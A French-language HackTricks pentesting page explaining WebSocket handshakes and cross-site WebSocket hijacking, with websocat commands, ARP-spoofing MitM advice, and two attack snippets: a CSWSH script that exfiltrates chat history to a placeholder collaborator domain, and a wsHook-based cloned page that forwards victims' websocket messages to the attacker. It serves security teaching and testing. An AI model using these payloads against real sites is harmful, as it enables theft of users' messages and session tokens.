hacktricks/pentesting-web/cross-site-websocket-hijacking-cswsh.md
2023-06-03 13:10:46 +00:00

12 KiB

Cross-site WebSocket hijacking (CSWSH)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Qu'est-ce que les WebSockets

Les connexions WebSocket sont initiées via HTTP et sont généralement de longue durée. Les messages peuvent être envoyés dans les deux sens à tout moment et ne sont pas transactionnels. La connexion restera normalement ouverte et inactive jusqu'à ce que le client ou le serveur soit prêt à envoyer un message.
Les WebSockets sont particulièrement utiles dans les situations où des messages à faible latence ou initiés par le serveur sont nécessaires, comme les flux de données financières en temps réel.

Comment les connexions WebSocket sont-elles établies ?

(Ici, vous trouverez un résumé, mais un guide plus détaillé sur la façon dont une connexion WebSocket est créée peut être trouvé ici).
Les connexions WebSocket sont normalement créées à l'aide de JavaScript côté client comme suit :

var ws = new WebSocket("wss://normal-website.com/chat");

Le protocole wss établit une connexion WebSocket sur une connexion TLS chiffrée, tandis que le protocole ws utilise une connexion non chiffrée.

Pour établir la connexion, le navigateur et le serveur effectuent une poignée de main WebSocket sur HTTP. Le navigateur émet une demande de poignée de main WebSocket comme suit:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Si le serveur accepte la connexion, il renvoie une réponse de poignée de main WebSocket comme suit:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

À ce stade, la connexion réseau reste ouverte et peut être utilisée pour envoyer des messages WebSocket dans les deux sens.

Remarque

Plusieurs caractéristiques des messages de poignée de main WebSocket méritent d'être notées :

  • Les en-têtes Connection et Upgrade dans la demande et la réponse indiquent qu'il s'agit d'une poignée de main WebSocket.
  • L'en-tête de demande Sec-WebSocket-Version spécifie la version du protocole WebSocket que le client souhaite utiliser. C'est généralement 13.
  • L'en-tête de demande Sec-WebSocket-Key contient une valeur aléatoire encodée en Base64, qui doit être générée de manière aléatoire dans chaque demande de poignée de main.
  • L'en-tête de réponse Sec-WebSocket-Accept contient un hachage de la valeur soumise dans l'en-tête de demande Sec-WebSocket-Key, concaténée avec une chaîne spécifique définie dans la spécification du protocole. Cela est fait pour éviter les réponses trompeuses résultant de serveurs mal configurés ou de caches proxy.

L'en-tête Sec-WebSocket-Key contient une valeur aléatoire pour éviter les erreurs des caches proxy, et n'est pas utilisé à des fins d'authentification ou de gestion de session (Ce n'est pas un jeton CSRF).

Console Linux

Vous pouvez utiliser websocat pour établir une connexion brute avec un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou pour créer un serveur websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Connexions websocket MitM

Si vous constatez que des clients sont connectés à un websocket HTTP depuis votre réseau local actuel, vous pouvez essayer une attaque ARP Spoofing pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client essaie de se connecter, vous pouvez alors utiliser:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Énumération des Websockets

Vous pouvez utiliser l'outil https://github.com/PalindromeLabs/STEWS pour découvrir, identifier et rechercher automatiquement les vulnérabilités connues dans les websockets.

Piratage de WebSocket entre sites (CSWSH)

Également connu sous le nom de piratage de WebSocket entre origines croisées.
Il s'agit d'une falsification de requête entre sites (CSRF) sur une poignée de main WebSocket.

Cela se produit lorsque la demande de poignée de main WebSocket repose uniquement sur les cookies HTTP pour la gestion de session et ne contient aucun jeton CSRF ou autre valeur imprévisible.
Un attaquant peut créer une page web malveillante sur son propre domaine qui établit une connexion WebSocket entre sites avec l'application vulnérable. L'application gérera la connexion dans le contexte de la session de l'utilisateur victime avec l'application.

Attaque simple

Notez que lors de l'établissement d'une connexion websocket, le cookie est envoyé au serveur. Le serveur peut l'utiliser pour relier chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.

Ensuite, si par exemple le serveur websocket renvoie l'historique de la conversation d'un utilisateur si un message avec "READY" est envoyé, alors un simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour autoriser l'utilisateur victime) envoyant "READY" sera capable de récupérer l'historique de la conversation.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Dans ce billet de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, l'attaquant a réussi à exécuter du Javascript arbitraire dans un sous-domaine du domaine où la communication websocket avait lieu. Étant donné que c'était un sous-domaine, le cookie était envoyé, et parce que le Websocket ne vérifiait pas correctement l'origine, il était possible de communiquer avec lui et de voler des jetons.

Vol de données utilisateur

Copiez l'application web que vous souhaitez usurper (par exemple les fichiers .html) et ajoutez ce code à l'intérieur du script où la communication websocket a lieu:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}

Maintenant, téléchargez le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l'application web et en faisant connecter un utilisateur à celle-ci, vous pourrez voler les messages envoyés et reçus via websocket :

sudo python3 -m http.server 80

Autres vulnérabilités

Comme les Web Sockets sont un mécanisme pour envoyer des données côté serveur et côté client, en fonction de la façon dont le serveur et le client gèrent les informations, les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités telles que XSS, SQLi ou toute autre vulnérabilité web courante en utilisant l'entrée d'un utilisateur à partir d'un websocket.

WebSocket Smuggling

Cette vulnérabilité pourrait vous permettre de contourner les restrictions des proxies inverses en leur faisant croire qu'une communication websocket a été établie (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'accéder à des points de terminaison cachés. Pour plus d'informations, consultez la page suivante :

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Références

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥